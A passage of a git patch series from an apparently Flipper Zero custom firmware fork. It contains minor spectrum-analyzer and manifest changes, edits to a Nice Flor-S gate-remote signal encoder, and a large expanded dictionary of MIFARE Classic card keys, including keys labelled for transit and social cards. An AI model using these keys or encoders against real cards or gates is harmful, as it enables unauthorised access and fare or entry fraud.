a/applications/spectrum_analyzer/spectrum_analyzer.c +++ b/applications/spectrum_analyzer/spectrum_analyzer.c @@ -20,7 +20,7 @@ typedef struct { uint32_t channel0_frequency; uint32_t spacing; - float max_rssi; + double max_rssi; uint8_t max_rssi_dec; uint8_t max_rssi_channel; uint8_t channel_ss[NUM_CHANNELS]; @@ -135,7 +135,7 @@ static void spectrum_analyzer_render_callback(Canvas* const canvas, void* ctx) { temp_str, 36, "Peak: %3.2f Mhz %3.1f dbm", - ((float)(model->channel0_frequency + (model->max_rssi_channel * model->spacing)) / + ((double)(model->channel0_frequency + (model->max_rssi_channel * model->spacing)) / 1000000), model->max_rssi); canvas_draw_str_aligned(canvas, 127, 0, AlignRight, AlignTop, temp_str); @@ -156,7 +156,7 @@ static void spectrum_analyzer_input_callback(InputEvent* input_event, void* ctx) static void spectrum_analyzer_worker_callback( void* channel_ss, - float max_rssi, + double max_rssi, uint8_t max_rssi_dec, uint8_t max_rssi_channel, void* context) { diff --git a/applications/spectrum_analyzer/spectrum_analyzer_worker.c b/applications/spectrum_analyzer/spectrum_analyzer_worker.c index 9bf3c1085..2b98bae7b 100644 --- a/applications/spectrum_analyzer/spectrum_analyzer_worker.c +++ b/applications/spectrum_analyzer/spectrum_analyzer_worker.c @@ -16,7 +16,7 @@ struct SpectrumAnalyzerWorker { uint32_t channel0_frequency; uint32_t spacing; uint8_t width; - float max_rssi; + double max_rssi; uint8_t max_rssi_dec; uint8_t max_rssi_channel; diff --git a/applications/spectrum_analyzer/spectrum_analyzer_worker.h b/applications/spectrum_analyzer/spectrum_analyzer_worker.h index ca051dacc..1f5002359 100644 --- a/applications/spectrum_analyzer/spectrum_analyzer_worker.h +++ b/applications/spectrum_analyzer/spectrum_analyzer_worker.h @@ -4,7 +4,7 @@ typedef void (*SpectrumAnalyzerWorkerCallback)( void* chan_table, - float max_rssi, + double max_rssi, uint8_t max_rssi_dec, uint8_t max_rssi_channel, void* context); From d673c4592e7defeb5a241ac6d0a7eebf3420857d Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Thu, 12 May 2022 16:45:05 +0300 Subject: [PATCH 160/461] Update Manifest --- assets/resources/Manifest | 48 ++++++++++++++++++++++++++++++++++++++- 1 file changed, 47 insertions(+), 1 deletion(-) diff --git a/assets/resources/Manifest b/assets/resources/Manifest index 08d950441..f38449508 100644 --- a/assets/resources/Manifest +++ b/assets/resources/Manifest @@ -1,5 +1,5 @@ V:0 -T:1651524332 +T:1652290624 D:badusb D:dolphin D:infrared @@ -223,6 +223,52 @@ F:33b8fde22f34ef556b64b77164bc19b0:578:dolphin/L3_Lab_research_128x54/frame_8.bm F:f267f0654781049ca323b11bb4375519:581:dolphin/L3_Lab_research_128x54/frame_9.bm F:41106c0cbc5144f151b2b2d3daaa0527:727:dolphin/L3_Lab_research_128x54/meta.txt D:infrared/assets +F:b99ebb642148aa9232b4dc7f2acf98cd:4970:infrared/Amino_amigo.ir +F:83f6ccdbdf32370fa4cf7afd651a6e0c:798:infrared/Amz_snd_bar.ir +F:1e6f06b66e0b4955e408f1c9198f2898:584:infrared/Apple_tv.ir +F:7274af18f1398bfdcba3eef27e1d9a93:557:infrared/BenQ.ir +F:a0af1af37f404781d60bbe4cf313d162:1525:infrared/Casio-Projector_yt130.ir +F:321a33ac14716639364361b310a91706:1524:infrared/Cv610_remote.ir +F:3cb1be0f536a0a6160e35828905a20d3:984:infrared/Da_lite_proj_scrn.ir +F:40f9d21e62424062263065c536304676:11762:infrared/Direct_tv.ir +F:d92b34f3a7170e54afddc6731b49d6e1:3537:infrared/Dragonfly_scrn.ir +F:c66a8721533e6df37512b24016fcad70:5682:infrared/Dreo_heater.ir +F:a52d81317dad059d698592f8159f6c5e:2495:infrared/Dyson_air_multiplier.ir +F:546b22ba87086f4672ce1ffc3bb896c1:3266:infrared/Dyson_hp09.ir +F:71767c67b0394773908c6cffeeab22e4:1595:infrared/Epson.ir +F:7729f722ce64f71693a7342e9a8e65f2:546:infrared/Hdmi_switch.ir +F:c3936ed736cf45ed8ac21f6fe9582d52:568:infrared/LG_AC.ir +F:30d1ee9c37b37233696bbc2bfe5c257e:1679:infrared/LG_BlueRay.ir +F:b489b8d113de9b05cd5487434e979ce9:888:infrared/LG_C1.ir +F:e934cd395e02c197ca62174aa77549a2:2501:infrared/Lasko_fan.ir +F:b72abf7ab1847b60bc5a013ac95df1a8:9503:infrared/Lasko_heater.ir +F:ac371e88aa7e629d2dbc5c43767f0fbd:19927:infrared/NEC.ir +F:b17eb21b5a532a8b6db9f77a12e27404:183:infrared/Nikon.ir +F:74fa5f6c842e70e451b9481c17b71b9c:379:infrared/Old_sonyxbr.ir +F:ed1035363a609949f1f15e301824cfeb:23673:infrared/Panasonic_TC-P50S2.ir +F:db40928c4503f49437a5c69973ff8183:14710:infrared/Pioneer_1770nex.ir +F:ba96cf68fc19e2802def5d0a13276c5a:897:infrared/Roku.ir +F:4b3244bc0592b2b4b98837fa942387ce:894:infrared/Roku2.ir +F:2c45c1848e4463f742ec888d2eb318c5:1388:infrared/Samsung.ir +F:21816e2ea82c23f0fce5ccc051736517:1149:infrared/Samsung_TV.ir +F:655f9c446a64ef6a0bd0afd157d1b115:127:infrared/Samsung_e6.ir +F:948df7276fee7f0c20e285c85a1700f9:984:infrared/Scrn_innov.ir +F:652fd6c4cfaf48b3d9e1717f9a301434:1795:infrared/Sharp_Roku_TV.ir +F:313eb09138e3f1e082ce802a99177187:1048:infrared/Sonyxbr.ir +F:1082b46f593e4673de9ede5aefc9bbb1:2608:infrared/Stlth_acou.ir +F:d9aa4555541367c56cd8ca0892e8f4a7:1118:infrared/Sunbrite.ir +F:d62b96d048941d9b23222185086926d6:1221:infrared/Szxlcom_cams.ir +F:1c4fd470eba9364fb0a958d9cc77e5ca:8715:infrared/Tcl.ir +F:661fec66bc4b73c343d9e2617334911d:892:infrared/Tcl_32s327.ir +F:65b31c3bfb66a62102bed654e9a57a6b:710:infrared/Tcl_tv.ir +F:8cde98d701dcfd34f711d0850111d892:1464:infrared/Vizio.ir +F:e2f23cef1c2abf5a84a4c478c508f412:724:infrared/Vizio_Soundbar.ir +F:0bc0c173a29a92e3a453e188cb56c9e2:3368:infrared/Vornado.ir +F:cbf4d9e2ef67c8244d62c5354f7217dd:1331:infrared/Westinghouse.ir +F:296c9f7edf7533f6ef5bca764a7d197c:3282:infrared/Whynter_AC.ir +F:219cc59cad3851e5e32dfe5d7feaca67:585:infrared/Xbox.ir +F:364eff5aa9a946efa188b084f2f94b19:1680:infrared/Yamaha_rx.ir +F:5636a7e6a0855bead9d06473f0af7899:662:infrared/Zenith_AC.ir F:d895fda2f48c6cc4c55e8a398ff52e43:74300:infrared/assets/tv.ir F:a157a80f5a668700403d870c23b9567d:470:music_player/Marble_Machine.fmf D:nfc/assets From 2e66156dea3d1c9db340b8765addf440400cb282 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Thu, 12 May 2022 18:28:57 +0300 Subject: [PATCH 161/461] Update nice_flor_s.c --- lib/subghz/protocols/nice_flor_s.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/lib/subghz/protocols/nice_flor_s.c b/lib/subghz/protocols/nice_flor_s.c index 9de52eb05..b1c0e415f 100644 --- a/lib/subghz/protocols/nice_flor_s.c +++ b/lib/subghz/protocols/nice_flor_s.c @@ -96,7 +96,7 @@ void* subghz_protocol_encoder_nice_flor_s_alloc(SubGhzEnvironment* environment) TAG, "Loading rainbow table from %s", instance->nice_flor_s_rainbow_table_file_name); } instance->encoder.repeat = 10; - instance->encoder.size_upload = 2880; //max upload 180*16 = 2880 + instance->encoder.size_upload = 2976; //max upload 186*16 = 2976 instance->encoder.upload = malloc(instance->encoder.size_upload * sizeof(LevelDuration)); instance->encoder.is_runing = false; return instance; @@ -120,7 +120,7 @@ static void size_t index = 0; btn = instance->generic.btn; - size_t size_upload = ((instance->generic.data_count_bit * 2) + ((34 + 2 + 2) * 2) * 16); + size_t size_upload = ((instance->generic.data_count_bit * 2) + ((37 + 2 + 2) * 2) * 16); if(size_upload > instance->encoder.size_upload) { FURI_LOG_E(TAG, "Size upload exceeds allocated encoder buffer."); } else { @@ -143,7 +143,7 @@ static void //Send header instance->encoder.upload[index++] = - level_duration_make(false, (uint32_t)subghz_protocol_nice_flor_s_const.te_short * 34); + level_duration_make(false, (uint32_t)subghz_protocol_nice_flor_s_const.te_short * 37); //Send start bit instance->encoder.upload[index++] = level_duration_make(true, (uint32_t)subghz_protocol_nice_flor_s_const.te_short * 3); From d4886c29c722c99ae8bcb5e60c63a053c0770f78 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Thu, 12 May 2022 18:58:32 +0300 Subject: [PATCH 162/461] Update nice_flor_s.c --- lib/subghz/protocols/nice_flor_s.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/subghz/protocols/nice_flor_s.c b/lib/subghz/protocols/nice_flor_s.c index b1c0e415f..7e95e8570 100644 --- a/lib/subghz/protocols/nice_flor_s.c +++ b/lib/subghz/protocols/nice_flor_s.c @@ -169,8 +169,8 @@ static void //Send stop bit instance->encoder.upload[index++] = level_duration_make(true, (uint32_t)subghz_protocol_nice_flor_s_const.te_short * 3); - instance->encoder.upload[index++] = - level_duration_make(false, (uint32_t)subghz_protocol_nice_flor_s_const.te_short * 3); + //instance->encoder.upload[index++] = + //level_duration_make(false, (uint32_t)subghz_protocol_nice_flor_s_const.te_short * 3); } instance->encoder.size_upload = index; } From d09129eed52780ecf3b440065ea5c595f6a9ec76 Mon Sep 17 00:00:00 2001 From: UberGuidoZ <57457139+UberGuidoZ@users.noreply.github.com> Date: Thu, 12 May 2022 12:47:03 -0700 Subject: [PATCH 163/461] Nearly tripled the verified keys available. Comments removed for ease of duplicate removal, but now hitting all 32 keys during all tests (was 10 or 11 prior.) --- .../resources/nfc/assets/mf_classic_dict.nfc | 2705 ++++++++++++++++- 1 file changed, 2635 insertions(+), 70 deletions(-) diff --git a/assets/resources/nfc/assets/mf_classic_dict.nfc b/assets/resources/nfc/assets/mf_classic_dict.nfc index f4cdf5952..31e5040cd 100644 --- a/assets/resources/nfc/assets/mf_classic_dict.nfc +++ b/assets/resources/nfc/assets/mf_classic_dict.nfc @@ -1,13 +1,7 @@ -# Key dictionary from https://github.com/ikarus23/MifareClassicTool.git - -# More well known keys! -# Standard keys FFFFFFFFFFFF A0A1A2A3A4A5 D3F7D3F7D3F7 000000000000 - -# Keys from mfoc B0B1B2B3B4B5 4D3A99C351DD 1A982C7E459A @@ -17,41 +11,26 @@ AABBCCDDEEFF A0478CC39091 533CB6C723F6 8FD0A4F256E9 - -# Keys from: -# http://pastebin.com/wcTHXLZZ A64598A77478 26940B21FF5D FC00018778F7 00000FFE2488 5C598C9C58B5 E4D2770A89BE - -# Keys from: -# http://pastebin.com/svGjN30Q 434F4D4D4F41 434F4D4D4F42 47524F555041 47524F555042 505249564141 505249564142 - -# Keys from: -# http://pastebin.com/d7sSetef 0297927C0F77 EE0042F88840 722BFCC5375F F1D83F964314 - -# Keys from: -# http://pastebin.com/pvJX0xVS 54726176656C 776974687573 4AF9D7ADEBE4 2BA9621E0A36 - -# Keys from: -# http://pastebin.com/y3PDBWR1 000000000001 123456789ABC B127C6F41436 @@ -70,18 +49,9 @@ A94133013401 A053A292A4AF 505249565441 505249565442 - -# Keys from: -# http://pastebin.com/TUXj17K3 FC0001877BF7 - -# Keys from: -# http://0x9000.blogspot.com/2010/12/mifare-classic-default-keys.html A0B0C0D0E0F0 A1B1C1D1E1F1 - -# Keys from: -# https://code.google.com/p/mifare-key-cracker/downloads/list BD493A3962B6 010203040506 111111111111 @@ -99,9 +69,6 @@ CCCCCCCCCCCC DDDDDDDDDDDD EEEEEEEEEEEE 0123456789AB - -# Keys from: -# https://github.com/4ZM/mfterm/blob/master/dictionary.txt 000000000002 00000000000A 00000000000B @@ -109,17 +76,8 @@ EEEEEEEEEEEE 200000000000 A00000000000 B00000000000 - -# Key from: -# ladyada.net ABCDEF123456 - -# Key from: -# http://irq5.io/2013/04/13/decoding-bcard-conference-badges/ F4A9EF2AFC6D - -# Keys from: -# https://github.com/iceman1001/proxmark 4B0B20107CCB 569369C5A0E5 632193BE1C3C @@ -481,8 +439,6 @@ F792C4C76A5C F7A39753D018 F9861526130F FAD63ECB5891 - -# Some keys of https://w3bsit3-dns.com and https://ikey.ru BC4580B7F20B 8E26E45E7D65 A7141147D430 @@ -529,8 +485,6 @@ ACFFFFFFFFFF 044CE1872BC3 114D6BE9440C AFCEF64C9913 - -# Russian Troika card 08B386463229 0E8F64340BA4 0F1C63013DBA @@ -586,7 +540,6 @@ F8493407799D 6B8BD9860763 D3A297DC2698 FBF225DC5D58 -# Strelka extension 3367BFAA91DB 4B609876BBA3 5C83859F2224 @@ -599,8 +552,6 @@ C4D3911AD1B3 CAD7D4A6A996 DA898ACBB854 FEA1295774F9 - -# Moscow public toilets card 807119F81418 22C8BCD10AAA 0AAABA420191 @@ -609,8 +560,6 @@ DBF9F79AB7A2 34EDE51B4C22 C8BCD10AAABA BCD10AAABA42 - -# Moscow social card 2735FC181807 2ABA9519F574 84FD7F7A12B6 @@ -675,9 +624,6 @@ F750C0095199 82DA4B93DB1C 9CF46DB5FD46 93EB64ACF43D - -# Keys from RfidResearchGroup proxmark3 project -# https://github.com/RfidResearchGroup/proxmark3/blob/master/client/dictionaries/mfc_default_keys.dic 0854BF31111E 0C03A720F208 135B88A94B8B @@ -712,7 +658,6 @@ D9BCDE7FC489 DE1FCBEC764B E67C8010502D FF58BA1B4478 - C1E51C63B8F5 4143414F5250 474249437569 @@ -1012,7 +957,6 @@ A506370E7C0F 39AD2963D3D1 B9B8B7B6B5B3 82908B57EF4F - C67BEB41FFBF 2AFFD6F88B97 E77952748484 @@ -1057,7 +1001,6 @@ DB6819558A25 30D9690FC5BC D73438698EEA 005078565703 - 7C87013A648A 9E7168064993 45FEE09C1D06 @@ -1104,8 +1047,6 @@ E495D6E69D9C CE7712C5071D F3C1F1DB1D83 D0DDDF2933EC - -# Iron Logic A3A26EF4C6B0 2C3FEAAE99FC E85B73382E1F @@ -1123,8 +1064,6 @@ DEC0CEB0CE24 413BED2AE45B D6261A9A4B3F CB9D507CE56D - -# Tehran ezpay 38A88AEC1C43 CBD2568BC7C6 7BCB4774EC8F @@ -1140,8 +1079,6 @@ D3B1C7EA5C53 604AC8D87C7E 8E7B29460F12 BB3D7B11D224 - -# More keys from the PM3 repo DC018FC1D126 C428C4550A75 0C4233587119 @@ -1270,8 +1207,6 @@ E00000000000 10DF4D1859C8 B5244E79B0C8 F5C1C4C5DE34 - -# Rotterdam University of applied sciences campus card BB7923232725 A95BD5BB4FC5 B099335628DF @@ -1294,8 +1229,6 @@ B5ADEFCA46C4 BF3FE47637EC B290401B0CAD AD11006B0601 - -# Keys of Armenian underground ticket A0A1A2A8A4A5 0D6057E8133B D3F3B958B8A3 @@ -1305,7 +1238,2639 @@ E4410EF8ED2D 3E120568A35C CE99FBC8BD26 2196FAD8115B - -# PIK Comfort Moscow keys (ISBC Mifare Plus SE 1K) 009FB42D98ED -002E626E2820 \ No newline at end of file +002E626E2820 +ffffffffffff +a0a1a2a3a4a5 +b0b1b2b3b4b5 +c0c1c2c3c4c5 +d0d1d2d3d4d5 +aabbccddeeff +4d3a99c351dd +1a982c7e459a +d3f7d3f7d3f7 +5a1b85fce20a +714c5c886e97 +587ee5f9350f +a0478cc39091 +533cb6c723f6 +8fd0a4f256e9 +e00000000000 +e7d6064c5860 +b27ccab30dbd +d2ece8b9395e +569369c5a0e5 +632193be1c3c +644672bd4afe +8fe644038790 +9de89e070277 +b5ff67cba951 +eff603e1efe9 +f14ee7cae863 +fc00018778f7 +0297927c0f77 +54726176656c +00000ffe2488 +ee0042f88840 +26940b21ff5d +a64598a77478 +5c598c9c58b5 +e4d2770a89be +722bfcc5375f +f1d83f964314 +47524f555041 +47524f555042 +434f4d4d4f41 +434f4d4d4f42 +4b0b20107ccb +00000000000a +00000000000b +0123456789ab +123456789abc +12f2ee3478c1 +14d446e33363 +1999a3554a55 +27dd91f1fcf1 +33f974b42769 +34d1df9934c5 +43ab19ef5c31 +55f5a5dd38c9 +99c636334433 +a00000000000 +a053a292a4af +a94133013401 +aaaaaaaaaaaa +abcdef123456 +b00000000000 +b127c6f41436 +bbbbbbbbbbbb +bd493a3962b6 +c934fe34d934 +cccccccccccc +dddddddddddd +eeeeeeeeeeee +f1a97341a9fc +44ab09010845 +85fed980ea5a +a9b43414F585 +f4a9ef2afc6d +89eac97f8c2a +43c7600dee6b +0120bf672a64 +fb0b20df1f34 +a9f953def0a3 +74a386ad0a6d +3f7a5c2dbd81 +21edf95e7433 +c121ff19f681 +3d5d9996359a +48ffe71294a0 +e3429281efc1 +16f21a82ec84 +3e65e4fb65b3 +25094df6f148 +a05dbd98e0fc +d3b595e9dd63 +afbecd121004 +6471a5ef2d1a +4E3552426B32 +22BDACF5A33F +6E7747394E63 +763958704B78 +1322285230b8 +2735fc181807 +2aba9519f574 +84fd7f7a12b6 +186d8c4b93f9 +3a4bba8adaf0 +8765b17968a2 +40ead80721ce +0db5e6523f7c +51119dae5216 +83e3549ce42d +136bdb246cac +7de02a7f6025 +bf23a53c1f63 +cb9a1f2d7368 +c7c0adb3284f +9f131d8c2057 +67362d90f973 +6202a38f69e2 +100533b89331 +653a87594079 +d8a274b2e026 +b20b83cb145c +9afa6cb4fc3d +a229e68ad9e5 +49c2b5296ef4 +0d258fe90296 +e55a3ca71826 +a4f204203f56 +eeb420209d0c +911e52fd7ce4 +752fbb5b7b45 +66b03aca6ee9 +48734389edc3 +17193709adf4 +1acc3189578c +c2b7ec7d4eb1 +369a4663acd2 +26973ea74321 +71f3a315ad26 +51044efb5aab +ac70ca327a04 +eb0a8ff88ade +2803bcb0c7e1 +9c616585e26d +4fa9eb49f75e +2dade48942c5 +a160fcd5ec4c +361a62f35bc9 +83f3cb98c258 +070d486bc555 +a9b018868cc1 +9dcdb136110c +749934cc8ed3 +506db955f161 +f088a85e71d7 +72b458d60363 +70c714869dc7 +b32464412ee3 +f253c30568c4 +1c68315674ac +cfe63749080a +c1e6f8afc9ec +dd0de3ba08a6 +3d923eb73534 +ff94f86b09a6 +d61707ffdfb1 +8223205047b6 +9951a273dee7 +c9449301af93 +66695a45c9fa +89aa9d743812 +c41514defc07 +c52876869800 +5353b3aecb53 +2e4169a5c79d +4bb747e48c2a +6285a1c8eb5c +5145c34dba19 +25352912cd8d +81b20c274c3f +abba1234fcb0 +314f495254ff +4152414b4e41 +4E474434FFFF +44dd5a385aaf +21a600056cb0 +b1aca33180a5 +dd61eb6bce22 +1565a172770f +3e84d2612e2a +f23442436765 +79674f96c771 +87df99d496cb +c5132c8980bc +a21680c27773 +f26e21edcee2 +675557ecc92e +f4396e468114 +6db17c16b35b +4186562a5bb2 +2feae851c199 +db1a3338b2eb +157b10d84c6b +a643f952ea57 +df37dcb6afb3 +4c32baf326e0 +91ce16c07ac5 +3c5d1c2bcd18 +c3f19ec592a2 +f72a29005459 +185fa3438949 +321a695bd266 +d327083a60a7 +45635ef66ef3 +5481986d2d62 +cba6ae869ad5 +645a166b1eeb +a7abbc77cc9e +f792c4c76a5c +bfb6796a11db +2338b4913111 +cb779c50e1bd +a27d3804c259 +003cc420001a +f9861526130f +381ece050fbd +a57186bdd2b9 +48c739e21a04 +36abf5874ed7 +649d2abbbd20 +bbe8fffcf363 +ab4e7045e97d +340e40f81cd8 +e4f65c0ef32c +d2a597d76936 +a920f32fe93a +86afd95200f7 +9b832a9881ff +26643965b16e +0c669993c776 +b468d1991af9 +d9a37831dce5 +2fc1f32f51b1 +0ffbf65b5a14 +c5cfe06d9ea3 +c0dece673829 +a56c2df9a26d +68d3f7307c89 +568c9083f71c +564c505f4d41 +ba5b895da162 +5c8ff9990da2 +75ccb59c9bed +d01afeeb890a +4b791bea7bcc +2ef720f2af76 +414c41524f4e +424c41524f4e +4a6352684677 +bf1f4424af76 +536653644c65 +a22ae129c013 +49fae4e3849f +38fcf33072e0 +8ad5517b4b18 +509359f131b1 +6c78928e1317 +aa0720018738 +a6cac2886412 +62d0c424ed8e +e64a986a5d94 +8fa1d601d0a2 +89347350bd36 +66d2b7dc39ef +6bc1e1ae547d +22729a9bd40f +925b158f796f +fad63ecb5891 +bba840ba1c57 +cc6b3b3cd263 +6245e47352e6 +8ed41e8b8056 +2dd39a54e1f3 +6d4c5b3658d2 +1877ed29435a +52264716efde +961c0db4a7ed +703140fd6d86 +157c9a513fa5 +e2a5dc8e066f +ef1232ab18a0 +374bf468607f +bfc8e353af63 +15cafd6159f6 +62efd80ab715 +987a7f7f1a35 +c4104fa3c526 +4c961f23e6be +67546972bc69 +f4cd5d4c13ff +94414c1a07dc +16551d52fd20 +9cb290282f7d +77a84170b574 +ed646c83a4f3 +e703589db50b +513c85d06cde +95093f0b2e22 +543b01b27a95 +c6d375b99972 +ee4cc572b40e +5106ca7e4a69 +c96bd1ce607f +167a1be102e0 +a8d0d850a606 +a2abb693ce34 +7b296c40c486 +91f93a5564c9 +e10623e7a016 +b725f9cbf183 +8829da9daf76 +4f9f59c9c875 +66f3ed00fed7 +f7a39753d018 +2031d1e57a3b +53c11f90822a +9189449ea24e +410b9b40b872 +2cb1a90071c8 +0000000018de +16ddcb6b3f24 +2a2c13cc242a +b7bf0c13066e +3060206f5b0a +5ec39b022f2b +3a09594c8587 +f1b9f5669cc8 +f662248e7e89 +62387b8d250d +f238d78ff48f +9dc282d46217 +afd0ba94d624 +92ee4dc87191 +b35a0e4acc09 +756ef55e2507 +447ab7fd5a6b +932b9cb730ef +1f1a0a111b5b +ad9e0a1ca2f7 +d58023ba2bdc +62ced42a6d87 +2548a443df28 +2ed3b15e7c0f +f66224ee1e89 +60012e9ba3fa +de1fcbec764b +81bfbe8cacba +bff123126c9b +2f47741062a0 +b4166b0a27ea +a170d9b59f95 +400bc9be8976 +d80511fc2ab4 +1fcef3005bcf +bb467463acd6 +e67c8010502d +ff58ba1b4478 +fbf225dc5d58 +4708111c8604 +3d50d902ea48 +96a301bce267 +6700f10fec09 +7a09cc1db70a +560f7cff2d81 +66b31e64ca4b +9e53491f685b +3a09911d860c +8a036920ac0c +361f69d2c462 +d9bcde7fc489 +0c03a720f208 +6018522fac02 +8a19d40cf2b5 +ae8587108640 +135b88a94b8b +00ada2cd516d +237a4d0d9119 +0ed7846c2bc9 +0172066b2f03 +0000085f0000 +1a80b93f7107 +70172066b2f0 +b1a80c94f710 +0b0172066b2f +0f1a81c95071 +f0f0172066b2 +1131a81d9507 +2f130172066b +71171a82d951 +b2f170172066 +1711b1a82e96 +6b2f1b017206 +62711f1a83e9 +66b2f1f01720 +97271231a83f +066b2f230172 +f97371271a84 +2066b2f27017 +50983712b1a8 +72066b2f2b01 +850984712f1a +172066b2f2f0 +a85198481331 +0172066b2f33 +1a8619858137 +70172066b2f3 +b1a862985913 +3b0172066b2f +3f1a87298691 +f3f0172066b2 +604Ac8D87C7E +b210cfa436d2 +b8b1cfa646a8 +a9f95891f0a4 +a506370e7c0f +26396f2042e7 +70758fdd31e0 +9f9d8eeddcce +06ff5f03aa1a +4098653289d3 +904735f00f9e +b4c36c79da8d +68f9a1f0b424 +5a85536395b3 +7dd399d4e897 +ef4c5a7ac6fc +b47058139187 +8268046cd154 +67cc03b7d577 +a5524645cd91 +d964406e67b4 +99858a49c119 +7b7e752b6a2d +c27d999912ea +66a163ba82b4 +4c60f4b15ba8 +35d850d10a24 +4b511f4d28dd +e45230e7a9e8 +535f47d35e39 +fb6c88b7e279 +23d4cdff8da3 +e6849fcc324b +12fd3a94df0e +0b83797a9c64 +39ad2963d3d1 +34b16cd59ff8 +bb2c0007d022 +0734bfb93dab +85a438f72a8a +58ac17bf3629 +b62307b62307 +a2a3cca2a3cc +0f385ffb6529 +29173860fc76 +2fca8492f386 +385efa542907 +3864fcba5937 +3f3865fccb69 +6291b3860fc8 +63fca9492f38 +863fcb959373 +87291f3861fc +913385ffb752 +b385efa64290 +c9739233861f +f3864fcca693 +fc9839273862 +4a306e62e9b6 +f00dfeedd0d0 +0bb31dc123e5 +7578bf2c66a9 +cd212889c3ed +6936c035ae1b +c6c866aa421e +590bd659cdd2 +aa734d2f40e0 +09800ff94aaf +5a12f83326e7 +c554ef6a6015 +0d8ca561bdf3 +b8937130b6ba +d7744a1a0c44 +82908b57ef4f +fe04ecfe5577 +4d57414c5648 +4d48414c5648 +6d9b485a4845 +5a7a52d5e20d +4a832584637d +ca679d6291b0 +30d9690fc5bc +5296c26109d4 +e77952748484 +91c2376005a1 +30b7680b2bc9 +e2a9e88bfe16 +43b04995d234 +aade86b1f9c1 +5ea088c824c9 +c67beb41ffbf +b84d52971107 +52b0d3f6116e +ca3a24669d45 +4087c6a75a96 +403f09848b87 +d73438698eea +5f31f6fcd3a0 +a0974382c4c5 +a82045a10949 +534f4c303232 +ff9a84635bd2 +6f30126ee7e4 +6039abb101bb +f1a1239a4487 +b882fd4a9f78 +3a471b2192bf +a297ceb7d34b +ae76242931f1 +5e594208ef02 +af9e38d36582 +f5c1c4c5de34 +d66d91829013 +75b691829013 +83e391829013 +a23c91829013 +e46a91829013 +d9e091829013 +fed791829013 +155f91829013 +06cc91829013 +8ddc91829013 +54af91829013 +29a791829013 +668091829013 +00008627c10a +199404281970 +199404281998 +310D51E539CA +2CCDA1358323 +03E0094CEDFE +562E6EF73DB6 +F53E9F4114A9 +AD38C17DE7D2 +2DEB57A3EA8F +32C1BB023F87 +70E3AD3F2D29 +202ECDCCC642 +3686192D813F +24501C422387 +2C7813A721C3 +FFE04BE3D995 +D28F090677A1 +DE2D83E2DCCC +A66A478712EA +643232ADB2D5 +C7F4A4478415 +95C013B70D99 +3C383889362A +3C6D9C4A90FA +51BEDBA005E5 +74BF7363F354 +53B09DB89111 +E98075318085 +2F904641D75F +7F60AEF68136 +F5C1B3F62FDA +3E6E5713BA10 +8B75A29D4AB2 +7E6545076619 +4C5A766DFE3A +32C6768847F5 +F68930789631 +8B42B6D64B02 +B627A3CB13F8 +562A4FB8260B +88DDC24E1671 +91CB7802A559 +7A3E0F5B63FC +8CA2C9DC8292 +5CCC6D50EAAC +DE4F5AA9A7F3 +52D0145E1AF5 +C10F92A4E57E +7D6E7AF43C97 +DE1E7D5F6DF1 +F4CB751B031A +C54474936B59 +2A1F900D4533 +6303CDCBB233 +F115E91357B3 +BFE25035B0C8 +62FF943EB069 +7C82EF592001 +D5C172325DD3 +992B152E834A +CE75D7EADEAF +038B5F9B5A2A +04DC35277635 +0C420A20E056 +152FD0C420A7 +296FC317A513 +29C35FA068FB +31BEC3D9E510 +462225CD34CF +4B7CB25354D3 +5583698DF085 +578A9ADA41E3 +6F95887A4FD3 +7600E889ADF9 +86120E488ABF +8818A9C5D406 +8C90C70CFF4A +8E65B3AF7D22 +9764FEC3154A +9BA241DB3F56 +AD2BDC097023 +B0A2AAF3A1BA +B69D40D1A439 +C956C3B80DA3 +CA96A487DE0B +D0A4131FB290 +D27058C6E2C7 +E19504C39461 +FA1FBB3F0F1F +FF16014FEFC7 +002DE0301481 +004173272D18 +0058A4884CA5 +00BAC32761D8 +00BB79731B00 +00E8C85DB172 +02096124DA70 +024988BC4D5E +0271B7C4B015 +028137A705DB +02827C286AB4 +02C10DA600D0 +0340643D5E27 +037A5DA4682B +037AC43CBD9D +037B9B8AA219 +037EE3DE21B7 +0380A9A3CBDE +03D10A75B56A +03E8CD22E691 +04109ED8EA79 +04361330B35C +043D8B66D569 +045E5588845C +048DE5148DE7 +0490921D0194 +04B717BD92EB +04D49C76623B +051518B3301E +0529E8827A52 +052B16064085 +05DC4016B500 +06124317A9A6 +06147D199266 +0670AEB833CE +0686A9E6D6E0 +06A34E5E6639 +06B78AD0C4BB +0710E7818AB8 +07121B8C633A +07176713C0ED +0793533A5087 +081D1B1C3110 +0849495E1CCA +09429512046E +0966C3B28E04 +098A92C3660A +098B48278122 +099672009EEA +0A7632943926 +0AEE126549DA +0B3B8C2833BC +0B733C13E2C9 +0B764247D00E +0BE811559D69 +0C208AD4E4B3 +0C270BC0BDDC +0C5D782CB183 +0C82C94EB11B +0CCDE948878A +0CCE39820AAE +0CDE3E716B32 +0CE06C96DB4C +0CE87813E389 +0D3385CEA152 +0D5C5B8BCC5B +0DB0A87AB882 +0DE247593B93 +0E0AD1796003 +0E62E6CAC3D3 +106E2D6E55E6 +1096A7830C82 +11549C141AD9 +116A92C793D6 +116C31526819 +11C68052AAE9 +1234B5BE8E78 +1268C7D104E1 +12A21B5671A8 +13359D5AE9A5 +1426EC62BB6C +144489B1056E +14A22C112090 +14C9BBB5361B +14EB6286AC57 +14EE72B27223 +153BB53ACE71 +157B03405B38 +15A45083D24E +15DACCE8D5EC +16124677BBC5 +16373A44D5D7 +1663659384DC +167828B6105C +16B25A453093 +1706B1BE25C7 +171B15888483 +17BC8EED9A0C +17C6299D5A37 +17E9C4C416EB +1804087C7166 +1841CC4E3E79 +18AB05761CC5 +18ADAAC2B08B +18E566417E5C +191390328752 +1A47959E7DB4 +1A9A970CC370 +1B095E78BB33 +1B1717043D2B +1B1A054566D9 +1B4654AE9454 +1B9CD1ED3420 +1B9E00780953 +1BB6A9CE71E2 +1C1250A36A13 +1C2316079532 +1C2855ED7A10 +1CD1AE73CA8C +1CD3D4E690B7 +1D0322005969 +1D09B23EB116 +1D67A32045ED +1D89D900968A +1DAE8D2CEA5C +1E1873799CD7 +1E60CE7C5179 +1E6A67909B8D +1E8516585792 +1EB0864E9134 +1ECE3D04A020 +2009828E4A21 +200A6A3AA65D +20188A599582 +20267CB20256 +20628CA7D92D +2077C980EB2E 